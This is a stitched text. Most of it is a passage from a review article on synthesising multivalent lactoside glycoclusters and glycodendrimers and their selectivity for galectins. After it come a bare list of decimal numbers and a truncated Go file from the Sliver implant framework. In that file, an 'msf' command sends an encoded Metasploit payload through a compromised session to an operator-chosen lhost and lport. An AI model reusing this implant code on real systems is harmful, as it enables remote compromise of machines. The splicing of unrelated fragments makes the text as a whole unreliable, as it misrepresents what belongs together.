2](#molecules-21-00629-sch002){ref-type=\"scheme\"}). ", "In the series shown the distances between the galactose residues can vary from 15.5 Å to 35 Å, as estimated by molecular modeling. ", "A variety of scaffold types have been investigated including both tertiary (**27**--**29)** and secondary (**30**, **31**) diamides, diglycosyldiamides (**33**, **34**), ditriazoles (**32**) and the previously mentioned glycophane **26** together with a *C*-glycosyl version **35** and a more flexible variant of the latter **36**. ", "Highlights from biological study of such a series include observations that the tertiary diamide **27** was 5-fold more selective for proteolytically truncated galectin-3 (complete removal of the non-CRD sections, shown in [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"}) than **26** \\[[@B104-molecules-21-00629]\\] and that the more flexible glycocluster **36** showed 100-fold selectivity for the chicken galectin-3 compared with chicken proto-type galectin-1A \\[[@B106-molecules-21-00629]\\].", "\n\nThe synthesis of **25** and **26** is summarised in [Scheme 8](#molecules-21-00629-sch008){ref-type=\"scheme\"} \\[[@B104-molecules-21-00629]\\]. ", "The glycosidation reaction of 1,6-anhydro donor **37** with ^1^C~4~ conformation, which is more reactive than a related donor with ^4^C~1~ conformation, occurs in the presence of triethylsilyloxyprop-1-ene to initially give a β-glycoside but this species undergoes rapid *in situ* anomerisation in the presence of SnCl~4~ to give the α-glucuronide **38** \\[[@B108-molecules-21-00629],[@B109-molecules-21-00629]\\]. ", "This was converted to **39** by removal of the acetate protecting groups followed by an acetylation reaction that gave a 6,3-lactone intermediate and subsequent reaction of this with allyl alcohol gave **39**. ", "The glycosidation reaction between benzoylated trichloroacetimidate **40** and **39** and subsequent removal of the allyl ester using Pd(0) gave **41**. ", "Next the coupling of acid **41** with *p*-xylylenediamine gave **42**. ", "Ring closure metathesis using the Grubbs-I catalyst followed by alkene reduction and acyl group removal gave glycophane **26**, whereas alkene reduction and deacylation under similar conditions gave **25**. ", "The use of the benzoyl protecting groups in **40** was important as the analogous per-*O*-acetylated donor gave none of the desired glycoside but only an orthoester, which can be observed in the course of glycosidation.", "\n\nSynthesis of **35** with the *p*-xylylenediamine based scaffold is shown in [Scheme 9](#molecules-21-00629-sch009){ref-type=\"scheme\"} \\[[@B106-molecules-21-00629]\\]. ", "The propargyl derivative **44** was first prepared from benzylidene **43** via a partial reductive cleavage of the benzylidene followed by 4-*O*-propargylation. ", "Next formation of the *C*-glycosyl derivative **45** was carried by anomeric allylation \\[[@B110-molecules-21-00629]\\], followed by selective removal of the 6-*O*-benzyl group and subsequent oxidation. ", "The copper (I)-promoted triazole formation with azide **4** gave **46**. ", "Subsequent coupling to *p*-xyxylenediamine followed by deacetylation gave **36**, whereas ring closure metathesis using Grubbs-II catalyst followed by de-*O*-acetylation gave **35**.", "\n\nThe chemistry shown in [Scheme 10](#molecules-21-00629-sch010){ref-type=\"scheme\"} exemplifies an approach to the synthesis of diamides where 2′-fucosyl lactose headgroups are incorporated \\[[@B107-molecules-21-00629]\\]. ", "Diamides can be prepared from corresponding glycosylamines such as **49**. ", "The Ugi reaction is a four component reaction involving amine, acid, aldehyde and isocyanide that is suitable for tertiary amide generation. ", "When a diacid such as terephthalic acid is used with **49**, it efficiently gives the divalent glycocluster **50** after protecting group removal. ", "Alternatively, reduction of the azide **51** in the presence of Pd-C and hydrogen gave a glycosyl amine and subsequent coupling of this with terephthaloyl chloride and then deacetylation gave diamide **52**. ", "The secondary amides in **52** prefer a *trans*-arrangement whereas those in **51** prefer *cis* and this difference gives rise to different spatial arrangements between the carbohydrate headgroups and can account for differences in preferences for lectins. ", "The direct copper-promoted triazole formation from **51**, prepared from 2′-fucosyl azide ([Scheme 11](#molecules-21-00629-sch011){ref-type=\"scheme\"}), and subsequent protecting group removal gave ditriazole **53**. ", "This latter compound showed high affinity (IC~50~ = 8 μM) for galectin-4 and was \\~6-fold more selective to this lectin than **52** \\[[@B107-molecules-21-00629]\\].", "\n\nValency increases give rise to new glycocluster topologies and can be taken to the level of tri- and tetravalent glycoclusters, as shown next with notable enhancements for the chimera-type galectin-3 \\[[@B111-molecules-21-00629]\\]. ", "Synthetically, 2-propynyl lactosides were conjugated under Sonogashira palladium-catalyzed cross-coupling conditions with triiodobenzene and suitably derivatized pentaerythritol cores ([Scheme 12](#molecules-21-00629-sch012){ref-type=\"scheme\"} and [Scheme 13](#molecules-21-00629-sch013){ref-type=\"scheme\"}). ", "Starting with 2-propynyl lactoside **55**, a series of tri- and tetra-valent derivatives **56**, **59**, and **60** were thus prepared using a common general protocol ((Ph**~3~**P)**~2~**PdCl**~2~**, DMF:Et**~3~**N (1:1, *v*/*v*), CuI, rt, 3--5 h). ", "The simultaneous Sonogashira cross-coupling of **55** to 1,3,5-triiodobenzene **54** ([Scheme 12](#molecules-21-00629-sch012){ref-type=\"scheme\"}) and to pentaerythritol tetrakis(*m*- and *p*-iodobenzyl)ether **57** or **58** ([Scheme 13](#molecules-21-00629-sch013){ref-type=\"scheme\"}) afforded an efficacious entry into this family of carbohydrate clusters **56** (trimer 80%), and tetramers **59** (*meta*) and **60** (*para*) in 78 and 75% yields, respectively. ", "Complete de-*O*-acetylation of these clusters was uneventful, resulting in freely water-soluble clusters **56**, **59**, and **60** in more than 90% yields.", "\n\nThe click-chemistry reaction can also be used to give trivalent glycoclusters \\[[@B89-molecules-21-00629]\\]. ", "Hence, the reaction of 2′-fucosyl azide **51** ([Scheme 14](#molecules-21-00629-sch014){ref-type=\"scheme\"}) with phloroglucinol derivative **61**, and subsequent protecting group removal gave tritriazole **62**. ", "The distances between galactose residues in **62** was 23.5 Å. This latter compound showed \\>100-fold selectivity for the chicken galectin-3 relative to the homodimeric galectin-1A, and was 10-fold more potent for the chimera-type protein than the corresponding trilactoside, which was in turn more potent than a related dilactoside. ", "As scaffold with similar degree of rigidity, other choices have been realized, e.g., metal-ion coordinated complexes \\[[@B112-molecules-21-00629],[@B113-molecules-21-00629]\\] or cyclopeptides \\[[@B114-molecules-21-00629],[@B115-molecules-21-00629]\\], the latter especially suitable to block binding of galectin-4.", "\n\nTurning to applications, relative affinity values of glycoclusters for galectins can discriminate between family members, as is the case between galectins-1 and -3. ", "When combining the oligovalent display with a bioinspired substitution at the 3′-position, affinity to galectins-3 and -4 was further enhanced, increasing selectivity against galectin-1 \\[[@B116-molecules-21-00629],[@B117-molecules-21-00629]\\]. ", "As a different type of application, a synthetic glycocluster has proven as potent tool to determine the stoichiometry of ligand-dependent galectin-3 oligomerization, which depends on a critical length of the *N*-terminal tail on the side of the protein \\[[@B118-molecules-21-00629],[@B119-molecules-21-00629]\\]. ", "The feasibility to increase the level of branching made it tempting to further raise the valency, entering the realm of glycodendrimers. ", "Poly(amidoamine) starburst (PAMAM) scaffold ([Scheme 15](#molecules-21-00629-sch015){ref-type=\"scheme\"}) serves as an impressive example. ", "Such a lactosylated glycodendrimer (**65)** up to generation five (G5) (128 lactosides), anchored through an aromatic *p*-isothiocyanatophenyl β-[d]{.smallcaps}-lactoside **63** as ligand ([Scheme 15](#molecules-21-00629-sch015){ref-type=\"scheme\"}), too, reacted differentially with a galactoside-specific plant toxin and galectins-1 and -3 \\[[@B120-molecules-21-00629]\\]. ", "Of note, the numbers of generation in design progress had a strong impact on reactivity.", "\n\nIn spite of the numerous strategies leading to the syntheses of glycodendrimers, it became obvious that the chemical procedures leading to them would greatly benefit by using core molecules already possessing the highest possible number of exposed surface functionalities. ", "In addition, in order to better control the physicochemical properties of dendrimers, while accelerating the increase of surface groups, it was suggested that different building blocks be used in between each generation. ", "This approach led to the general concept of \"onion peel\" strategy \\[[@B121-molecules-21-00629],[@B122-molecules-21-00629],[@B123-molecules-21-00629],[@B124-molecules-21-00629],[@B125-molecules-21-00629]\\] For instance, a glycodendrimer having 18-exposed lactoside residue was readily build-up in a few steps by using a hexaphenylbenzene core such as **69** and a tris(hydroxymethyl)aminomethane (TRIS) precursor suitably substituted ([Scheme 7](#molecules-21-00629-sch007){ref-type=\"scheme\"}). ", "The synthetic sequence leading to this type of glycodendrimer was initiated by a double Stille coupling reaction involving bis(tributylstannyl)acetylene (**66**) and *para*-iodoanisole (**67**) in the presence of tetrakis(triphenylphosphine)palladium(0) to give the corresponding symmetrical diarylalkyne (**68**) in 71% yield. ", "A \\[2+2+2\\] cyclotrimerization of **68** catalyzed by dicobalt octacarbonyl \\[Co~2~(CO)~8~\\] and subsequent methyl ether deprotection with BBr~3~ provided rapid access to perhydoxylated **69** in 87% yield. ", "Propargylation of **69** with propargyl bromide and K~2~CO~3~ in DMF 65 °C afforded hexapropargylated ether **70** in 82% yield. ", "Using the orthogonal AB~3~ synthon 2-bromoacetamido-tris\\[(propargyloxy)methyl\\]-aminomethane (**71**) gave the targeted 18-mer precursor **72** (79%). ", "The introduction of the modified lactopyranoside termini was efficiently achieved using Cu(I)-catalyzed azide-alkyne \\[1,3\\]-dipolar cycloaddition reaction ([Scheme 8](#molecules-21-00629-sch008){ref-type=\"scheme\"}). ", "To this end, lactosyl azide **4** was \"clicked\" on either **70** or **72** to afford hexa-lactosylated dendrons (not shown) and 18-mer dendrimer **73**, respectively, in good overall yields after usual transesterification (MeONa in MeOH).", "\n\nAnother type of glycodendrimer with ligand radiating from propargylated hexaphenylbenzene cores and containing up to 54 peripheral sugar ligands has been synthesized by the powerful Cu(I)-catalyzed \\[1,3\\]-dipolar cycloadditions using both convergent and divergent approaches. ", "An expeditive and systematic route toward the synthesis of innovative glycoclusters and G(1)-glycodendrimers built from circular and aromatic polypropargylated scaffolds have thus been developed ([Scheme 16](#molecules-21-00629-sch016){ref-type=\"scheme\"}). ", "The multivalent glycoconjugates were obtained with simple and generally high yielding reactions including nucleophilic substitutions to generate synthons and copper-catalyzed azide alkyne cycloaddition reaction to covalently attach the minimally modified galectin ligand as lactoside moieties. ", "Interestingly, the hydrophobic character of the inner aromatic core was counterbalanced by the hydrophilic sugar derivatives, affording fully water-soluble derivatives.", "\n\nBased on hexachlorocyclotriphosphazene (N~3~P~3~Cl~6~) as a central molecule ([Scheme 17](#molecules-21-00629-sch017){ref-type=\"scheme\"}), which is known to be nearly planar having three up and three down substituents lactosylated dendrons and a dumbbell-shape architecture were obtained ([Scheme 18](#molecules-21-00629-sch018){ref-type=\"scheme\"}) \\[[@B126-molecules-21-00629]\\]. ", "In detail, a functionalized AB~3~ trimer, derived from TRIS (**71**, [Scheme 16](#molecules-21-00629-sch016){ref-type=\"scheme\"}), together with an AB~5~ building block (**76**), derived from the commercially available N~3~P~3~Cl~6~, were used. ", "Lactosylation was achieved using click chemistry with lactosyl azide **75** possessing a tetraethylene glycol spacer. ", "As also used in glycodendrimer synthesis for glycodendrimersome surface programming \\[[@B127-molecules-21-00629]\\], to give trimer **77** and pentamer **78** in good to excellent yields. ", "Transformation of the bromides at both dendron's focal point was readily performed by an S~N~2 substitution using sodium azide to afford compounds **79** and **80**, respectively. ", "Pentavalent hypermonomer **80** was then used toward the decavalent dumbbell-shape lactosylated compound **82** by the above double click reaction with dipropargylated tetraethylene glycol **81**. ", "Standard Zemplén de-*O*-acetylation (MeONa, MeOH) generated **79** (3-mer), **80** (5-mer) and **83** (10-mer) in almost quantitative yields in each case.", "\n\nAlternatively, globular-shaped glycodendrimers having six (6-mer, **87**), eighteen (18-mer, **88**), and thirty six (36-mer, **90**) were constructed using the extended lactoside residues ([Scheme 19](#molecules-21-00629-sch019){ref-type=\"scheme\"}) \\[[@B126-molecules-21-00629]\\]. ", "Thus, using a hexapropargylated cyclotriphosphazene derivative (**84**) and the copper-catalyzed \\[1,3\\]-dipolar cycloaddition together with azide **75**, the three compounds were prepared in 82%, 65%, and 77% yields, respectively. ", "After Zemplén trans esterification, the unprotected lactosylated dendrimers were obtained. ", "Interestingly, high-field ^1^H-NMR spectra clearly probed completion of the multiple click processes, as judged by the complete disappearance of the critical alkyne protons at δ 2.64 ppm. ", "In addition, all the relative integrations of each triazole protons around δ 8 ppm were in perfect agreement with those of the newly formed internal region (18H *vs.* 6H, respectively for 18-mer **88**). ", "Moreover, MALDI-TOF experiments afforded typical isotopic patterns for **90** with the expected molecular weight signal (\\[M + Na\\]^+^ adduct) at *m*/*z* 23,750 Da. ", "Using an analogous strategy, lactodendrimers harboring 20-mer, 30-mer, 60-mer, and finally 90-mer were also constructed ([Scheme 20](#molecules-21-00629-sch020){ref-type=\"scheme\"}) starting from thiolated pentaerythritol and hexasubstituted benzene derivatives \\[[@B126-molecules-21-00629]\\]. ", "The above structures were shown to have low polydispersity PDI (Mw/Mn) (\\<1.08) with molecular weight ranging from 5 kDa to more than 75 kDa \\[[@B126-molecules-21-00629]\\].", "\n\nThe size of the glycodendrimers containing both the acetylated and the deprotected functionalities, and more particularly their solvodynamic radii, was estimated by pulsed-field-gradient stimulated echo (PFG-STE) NMR experiments using bipolar pulse pairs longitudinal-eddy-current delay (BPP-LED) in CDCl~3~ and D~2~O, respectively, at 25 °C, as described in detail \\[[@B126-molecules-21-00629]\\]. ", "Diffusion values were determined by the average of individual values corresponding to the decay of the signal intensity of different protons located at different level in the molecule. ", "The resulting measurements were consistent with spherical and unimolecular character of the glycodendrimers. ", "The Stokes--Einstein equation directly yielded the corresponding solvodynamic diameters using viscosities determined for pure deuterated solvents. ", "As expected, diffusion data revealed the increase of solvodynamic diameters as the number of peripheral epitopes was enhanced, under similar solvent conditions, showing dendrimers with solvodynamic diameters ranging from 2.6 to 10.1 nm. ", "Systematic monitoring of bioactivity with the CRD of galectin-3, physiologically a product of proteolytic processing that removes the N-terminal tail (please see [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"}), revealed ligand property for all compounds. ", "As noted above for starburst glycodendrimers, the relative potency per sugar unit was highest at low to medium level of valency, here for the dumbbell-shapes decavalent **83** (r.p./sugar = 53) of a diameter of 5.3 nm \\[[@B126-molecules-21-00629]\\]. ", "These examples document the ingenuity of chemical design to reach the level of giant clusters with a core. ", "To take design even further into the direction of engineering vesicle-like structures, a different strategy has been successfully implemented.", "\n\nThe way (glyco)lipids self-organize into monolayers or liposomes has been equally efficiently achieved with amphiphilic Janus glycodendrimers (for a comparison of a glycolipid and the synthetic analogue, please see [Scheme 21](#molecules-21-00629-sch021){ref-type=\"scheme\"}) \\[[@B127-molecules-21-00629]\\]. ", "The products are glycodendrimersomes or aggregates of other types of design such as cubosomes with fully programmable properties in size and surface properties \\[[@B127-molecules-21-00629],[@B128-molecules-21-00629]\\]. ", "For example, ligand density on micro- and macroscales can be changed in a defined manner, as branching in glycodendrimers is. ", "These products are ideal for interaction studies with lectins. ", "Here, the influence of any parameter on both sides on aggregation can be examined. ", "These assays with human galectins have already answered fundamental questions on galectin functionality in *trans*-interactions and as a function of carbohydrate density and headgroup display \\[[@B129-molecules-21-00629],[@B130-molecules-21-00629],[@B131-molecules-21-00629]\\]. ", "Galectin-1's design as non-covalently associated homodimer (please see [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"}) appears more suited for cross-linking counter receptors on the surface than to act as bridge between glycodendrimersomes, as indicated by comparative analysis with engineered variants that have covalent connections between the two CRDs \\[[@B129-molecules-21-00629]\\]. ", "Fittingly, atomic force measurements have revealed a comparatively low rupture of 37 ± 3 pN at a loading rate of 3 nN/s, when galectin-1 interacted with *N*-glycans of the glycoprotein asialofetuin \\[[@B132-molecules-21-00629]\\]. ", "An emerging aspect for endogenous lectins is the occurrence of genetic polymorphisms. ", "It is a pertinent question whether they have pathophysiological significance. ", "As biomedical effector, it is noteworthy that this lectin can have anti- and pro-inflammatory/tumoral activities depending on the context, for example stimulating tissue invasion (glioblastoma) or cartilage degeneration (osteoarthritis) or acting as negative regulator in chronic inflammation or carcinoma cell cycle progression \\[[@B133-molecules-21-00629],[@B134-molecules-21-00629],[@B135-molecules-21-00629],[@B136-molecules-21-00629],[@B137-molecules-21-00629],[@B138-molecules-21-00629],[@B139-molecules-21-00629]\\].", "\n\nFor the first time, a functional correlation of a single nucleotide polymorphism in a CRD of a galectin could be discerned with this assay system, here for galectin-8's F19Y variant whose expression is strongly associated with occurrence of rheumatoid arthritis and early age at disease onset \\[[@B130-molecules-21-00629],[@B131-molecules-21-00629],[@B140-molecules-21-00629]\\]. ", "This approach thus takes activity testing to the level of vesicle-like structures, and the recently accomplished hybrid formation with bacterial membranes \\[[@B141-molecules-21-00629]\\] let the perspective become envisioned to combine natural glycoconjugates with these synthetic glycodendrimers to tailor surface properties in a so far unsurpassed manner according to the biomedical question to be addressed. ", "Design of monolayers with the same toolbox will flank the analysis of aggregation (*trans*-interaction). ", "In such a setting, *cis*-bridging can be monitored, as exemplified by monitoring galectin-1/ganglioside GM1 interplay \\[[@B142-molecules-21-00629]\\].", "\n\n6. ", "Conclusions {#sec6-molecules-21-00629}\n==============\n\nThe increasingly unraveled physiological significance of carbohydrate-lectin recognition poses challenging questions on the nanometric characteristics underlying the specificity and selectivity of the functional pairing. ", "As the example of the adhesion/growth-regulatory galectins attests, delineating structure-activity relationships with respect to the intrafamily divergence in CRD sequence and its spatial presentation requires sophisticated tools and transsectional cooperation. ", "Here, the individual parts of the toolbox provided by synthetic chemistry are invaluable sensors, e.g., to determine the capacity for multivalent binding and induction of cell signaling that may cause harmful effects. ", "Actually, glycoclusters had been helpful to ascertain a reduction in cross-linking, leading to undesired T cell activation, within the process of engineering an antiviral lectin for further testing of its potential for therapeutic application \\[[@B143-molecules-21-00629]\\]. ", "Along the route to obtain insights into the biofunctionality of the nanometric features, bringing test systems for activity assessment of the synthetic products as close as possible to the *in vivo* conditions, e.g., by testing their effect on lectin binding to tissue sections \\[[@B144-molecules-21-00629]\\], will team up with the design of vesicle-like structures with increasing degree of resemblance to cell surfaces. ", "By rational tailoring on both sides, *i.e.*, the ligand and the lectin, as hypothesis-driven process, these advances bring understanding how endogenous lectins 'read' sugar-encoded information into reach.", "\n\nThe monovalent \\[[@B145-molecules-21-00629],[@B146-molecules-21-00629]\\] as well as the multivalent glycomimetic lactoside derivatives presented herein offer several avenues to identify high affinity galectin-selective antagonists for the treatment of various diseases. ", "Nanometric glycodendrimers in particular, with their size ranging from 2 to 10 nm and their high water-solubility, constitute a valuable alternative to other types of insoluble nanoparticles \\[[@B147-molecules-21-00629]\\]. ", "Of great interest in this regard, is the new family of glycodendrimersomes described in the last section which are also nanometric (100--150 nm, for liposomes) or 100--200 μm when forming giant vesicles. ", "These biomimetics of cell membranes have the fortuitous possibility to adapt their flexible inter-carbohydrate distances in response to the galectin receptors they encounter, thus adding an additional advantage over other nanoparticles.", "\n\nR.R. thanks the Natural Sciences and Engineering Research Council of Canada (NSERC) for a Canadian Research Chair and the Canadian Glycomics Network for financial support. ", "P.V.M. thanks Science Foundation Ireland for financial support (08/SRC/B1393 & 12/IA/1398) which was co-funded under the European Regional Development Fund under Grant No. ", "14/SP/2710. ", "P.V.M. also thanks the European Commission for Marie Curie IntraEuropean Fellowships to Sebastien G. Gouin, Trinidad Velasco-Torrijos and Dilip V. Jarikote, which supported some of the research reviewed herein. ", "H.-J.G. thanks the excellence program of the Ludwig-Maximilians-University Munich and the EC (for ITN network funding) for generous support.", "\n\nThe authors declare no conflict of interest.", "\n\nFigures, Schemes and Table\n==========================\n\n![", "Illustration of the alphabet of the sugar language. ", "Structural representation, name and symbol as well as the set of known acceptor positions (arrows) in glycoconjugates are given for each letter. ", "Four sugars have [l]{.smallcaps}-configuration: fucose (6-deoxy-[l]{.smallcaps}-galactose), rhamnose (6-deoxy-[l]{.smallcaps}-mannose) and arabinose are introduced during chain elongation, whereas [l]{.smallcaps}-iduronic acid (IdoA) results from post-synthetic epimerization of glucuronic acid at C-5. ", "The ^1^C~4~ conformation of IdoA (**a**) is in equilibrium with the ^2^S~0~ form (**b**) in glycosaminoglycan chains, where this uronic acid can be 2-sulfated. ", "All other letters are [d]{.smallcaps}-sugars. ", "Neu5Ac, one of the more than 50 sialic acids, often terminates sugar chains in animal glycoconjugates. ", "Kdo is a constituent of lipopolysaccharides in the cell walls of Gram-negative bacteria and is also found in cell wall polysaccharides of green algae and higher plants. ", "Foreign to mammalian glycobiochemistry, microbial polysaccharides contain the furanose ring form of [d]{.smallcaps}-galactose and also [d]{.smallcaps}/[l]{.smallcaps}-arabinose, then indicated by an italic \"**f**\" derived from the heterocyclus furan. ", "The α-anomer is prevalent for the pentose arabinose, e.g., in mycobacterial cell wall arabinogalactan and lipoarabinomannan. ", "β1-5/6-Linked galactofuranoside is present in the arabinogalactan and the α1-3/6 linkage in lipopolysaccharides (adapted from \\[[@B15-molecules-21-00629]\\]).](molecules-21-00629-g001){#molecules-21-00629-f001}\n\n{ref-type=\"fig\"}), the presentation of CRDs (C-type or fibrinogen-like domain) in serum and surfactant collectins or ficolins (**d**) connected to their collagenous stalks and the non-covalent association of binding sites in transmembrane C-type lectins by α-helical coiled-coil stalks (**e**) (for example asialoglycoprotein and Kupffer cell receptors, the scavenger receptor C-type lectin, CD23, DC-SIGN or DC-SIGNR) are given. ", "Similar to tandem-repeat-type galectins, the C-type family of lectins also has a branch of members with this design, *i.e.*, immulectins-1, -2 and -3. ", "Next, the tandem-repeat display in the mannose-specific macrophage receptor (**f**) (also found on dendritic cells, hepatic endothelial cells, kidney mesangial cells, retinal pigment epithelial cells and tracheal smooth muscle cells) and the related C-type lectin Endo180 with eight domains as well as in the cation-independent P-type lectin with 15 domains is presented. ", "Capacity for sugar binding is confined to only few domains as depicted. ", "The occurrence of lectin activity for GalNAc-4-SO~4~-bearing pituitary glycoprotein hormones in the cysteine-rich domain, a member of the β-trefoil fold family with one (QxW)~3~ domain in the *N*-terminal section of the macrophage mannose receptor (amino acids 8--128), which is linked via a fibronectin-type-II-repeat-containing module to the tandem-repeat section, is also included into the schematic drawing for these lectins with more than one type of CRD per protein chain. ", "Moving further to the right side; (**g**) the association of a distal CRD in selectins (attached to an epidermal-growth-factor (EGF)-like domain and two to nine complement-binding consensus repeats) or in the siglec subfamily of I-type lectins using 1--16 C2-set immunoglobulin-like units as spacer equivalents to let the CRD reach out to contact ligands and to modulate capacity to serve in *cis*- or *trans*-interactions on the cell surface is shown. ", "The force-dependent alterations of the topological arrangement of the two distal domains in selectins accounts for catch bonds of selectins, a canonical immunoreceptor tyrosine-based inhibitory motif (ITIM) together with a putative tyrosine-based motif is frequently present in the intracellular portion of siglecs. ", "C2-set domains linked to fibronectin-type-III repeats establish the extracellular section of the I-type lectins L1 and neural cell adhesion molecule (NCAM) (**h**). ", "In the matrix, the modular proteoglycans (i) (hyalectans/lecticans: aggrecan, brevican, neurocan and versican) interact (i) with hyaluronan (and also link protein) via the link-protein-type modules of the *N*-terminal G1 domain (and an Ig-like module); (ii) with receptors binding to the glycosaminoglycan chains in the central region and (iii) with carbohydrates or proteins (fibulins-1 and -2 and tenascin-R) via the C-type lectin-like domain flanked by EGF-like and complement-binding consensus repeat modules (kindly provided by H. Kaltner) (from \\[[@B38-molecules-21-00629]\\], with permission).](molecules-21-00629-g002){#molecules-21-00629-f002}\n\n{ref-type=\"fig\"}. ", "Proto-type proteins (e.g., galectins-1, -2 and -7) are non-covalently associated homodimers, the vertebrate tandem-repeat-type galectins are formed by two different CRDs connected by a linker (length can vary by alternative splicing and between species) and the chimera-type galectin-3 has an *N*-terminal tail composed of a peptide with site(s) for Ser phosphorylation and Gly/Pro-rich sequence repeats enabling self-association in the presence of multivalent ligands.](molecules-21-00629-g003){#molecules-21-00629-f003}\n\n{ref-type=\"fig\"}) in model organisms on the level of gene (Roman number), transcript (Arabic number) and protein (numerical information). ", "For details, please see \\[[@B42-molecules-21-00629],[@B43-molecules-21-00629]\\].](molecules-21-00629-g004){#molecules-21-00629-f004}\n\n{#molecules-21-00629-f005}\n\n{#molecules-21-00629-f006}\n\n{#molecules-21-00629-f007}\n\n{#molecules-21-00629-f008}\n\n{#molecules-21-00629-f009}\n\n{#molecules-21-00629-sch001}\n\n{#molecules-21-00629-sch002}\n\n{#molecules-21-00629-sch003}\n\n{#molecules-21-00629-sch004}\n\n{#molecules-21-00629-sch005}\n\n{ref-type=\"table\"} and interacting with compound **17** (docked in by superposition with natural lactose ligand); left Connolly surface representation with red surface (anionic) and blue surface (cationic amino acids).](molecules-21-00629-g010){#molecules-21-00629-f010}\n\n{#molecules-21-00629-sch006}\n\n{#molecules-21-00629-sch007}\n\n{#molecules-21-00629-sch008}\n\n{#molecules-21-00629-sch009}\n\n{#molecules-21-00629-sch010}\n\n{#molecules-21-00629-sch011}\n\n![", "Trivalent lactose-presenting cluster **56** with equivalent inter-galactoside distances was obtained using the core **54** and 2-propynyl lactoside **55**. ", "It showed remarkable reactivity with galectin-3 \\[[@B111-molecules-21-00629]\\].](molecules-21-00629-sch012){#molecules-21-00629-sch012}\n\n{#molecules-21-00629-sch013}\n\n{#molecules-21-00629-sch014}\n\n{#molecules-21-00629-sch015}\n\n{#molecules-21-00629-sch016}\n\n{#molecules-21-00629-sch017}\n\n{#molecules-21-00629-sch018}\n\n{#molecules-21-00629-sch019}\n\n{ref-type=\"scheme\"} harboring 20 (**91**), 30 (**92**), 60 (**93**), and 90 (**94**) lactoside residues.](molecules-21-00629-sch020){#molecules-21-00629-sch020}\n\n{#molecules-21-00629-sch021}\n\nmolecules-21-00629-t001_Table 1\n\n###### \n\nAmino acids of the CRDs of six galectins directly interacting with lactose residues are shown in red, and amino acids that interact with lactose via water-mediated hydrogen bonds are shown in blue. ", "Comparison with galectin-1 (PDB-1GZW), galectin-2 (PDB-1HLC), galectin-3 (PDB-1KJL), galectin-4 (PDB-1X50), galectin-7 (PDB-4GAL), and galectin-8 (PDB 3AP9). ", "Amino acids letter codes are indicated in parentheses for Gal-3 \\[[@B26-molecules-21-00629]\\].", "\n\n CRD-Subsite Galectin-1 Galectin-2 Galectin-3 Galectin-4C Galectin-7 Galectin-8N\n ------------- ------------ ------------ ------------ ------------- ------------ -------------\n A Ser29 Gly30 Arg144 (R) Ser220 Arg31 Arg45\n B Val31 Val32 Ala146 (A) Ala222 His33 Gln47\n C Asn33 Asn34 Asp148 (D) Asn224 Asn35 Asp49\n D Gly35 Gly36 Gln150 (Q) Lys226 Leu37 Gln51\n E \\- \\- \\- \\- \\- Arg59\n F His44 His45 His158 (H) His236 His49 His65\n G Asn46 Asn47 Asn160 (N) Asn238 Asn51 Asn67\n H Arg48 Arg49 Arg162 (R) Arg240 Arg53 Arg69\n I His52 \\- \\- \\- \\- \\-\n J Asp54 Gln52 Glu165 (E) \\- \\- \\-\n K Asn61 Asn58 Asn174 (N) Asn249 Asn62 Asn79\n L Trp68 Trp65 Trp181 (W) Trp256 Trp69 Trp86\n M Glu71 Glu68 Glu184 (E) Glu259 Glu72 Glu89\n N Arg73 Arg70 Arg186 (R) Lys261 Arg74 Ile91\n O \\- Arg120 Ser237 (S) Gln313 Gly124 Tyr141\n" ]

{ "pile_set_name": "PubMed Central" }

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0.0005277557647787035, 0.0006131045520305634, 0.001340585295110941, 0.0006103639607317746, 0.0005722620990127325, 0.0058231414295732975, 0.001483887666836381, 0.0008697949233464897, 0.0009028413915075362, 0.0011899666860699654, 0.0016535688191652298, 0.0010329363867640495, 0.000897468882612884, 0.0006525957142002881, 0.0006396445096470416, 0.0007360955933108926, 0.0012108548544347286, 0.0005618712166324258, 0.0008136084652505815, 0.0007275263778865337, 0.0006335310754366219, 0.0006592243444174528, 0.0007653338834643364, 0.0005632730317302048, 0.0007978688227012753, 0.0005506021552719176, 0.0006553587154485285, 0.0007896454771980643, 0.0006517233559861779, 0.0006664358079433441, 0.0006197633920237422, 0.032839372754096985, 0.000578399864025414, 0.0006987209198996425, 0.0007249072659760714, 0.0007690140628255904, 0.0008000786183401942, 0.000795345229562372, 0.0006198709015734494, 0.0007010377594269812, 0.0007678047404624522, 0.0007422637427225709, 0.000582436565309763, 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[ "package command\n\n/*\n\tSliver Implant Framework\n\tCopyright (C) 2019 Bishop Fox\n\n\tThis program is free software: you can redistribute it and/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.", "\n\n\tThis program is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ", " See the\n\tGNU General Public License for more details.", "\n\n\tYou should have received a copy of the GNU General Public License\n\talong with this program. ", " If not, see <https://www.gnu.org/licenses/>.", "\n*/\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\tconsts \"github.com/bishopfox/sliver/client/constants\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n\t\"github.com/bishopfox/sliver/protobuf/rpcpb\"\n\n\t\"github.com/bishopfox/sliver/client/spin\"\n\n\t\"github.com/desertbit/grumble\"\n)\n\nfunc msf(ctx *grumble.", "Context, rpc rpcpb.", "SliverRPCClient) {\n\n\tsession := ActiveSession.", "GetInteractive()\n\tif session == nil {\n\t\treturn\n\t}\n\n\tpayloadName := ctx.", "Flags.", "String(\"payload\")\n\tlhost := ctx.", "Flags.", "String(\"lhost\")\n\tlport := ctx.", "Flags.", "Int(\"lport\")\n\tencoder := ctx.", "Flags.", "String(\"encoder\")\n\titerations := ctx.", "Flags.", "Int(\"iterations\")\n\n\tif lhost == \"\" {\n\t\tfmt.", "Printf(Warn+\"Invalid lhost '%s', see `help %s`\\n\", lhost, consts.", "MsfStr)\n\t\treturn\n\t}\n\n\tctrl := make(chan bool)\n\tmsg := fmt.", "Sprintf(\"Sending payload %s %s/%s -> %s:%d ...\",\n\t\tpayloadName, session.", "OS, session.", "Arch, lhost, lport)\n\tgo spin.", "Until(msg, ctrl)\n\t_, err := rpc.", "Msf(context.", "Background(), &clientpb.", "MSFReq{\n\t\tRequest: ActiveSession.", "Request(ctx),\n\t\tPayload: payloadName,\n\t\tLHost: lhost,\n\t\tLPort: uint32(lport),\n\t\tEncoder: encoder,\n\t\tIterations: 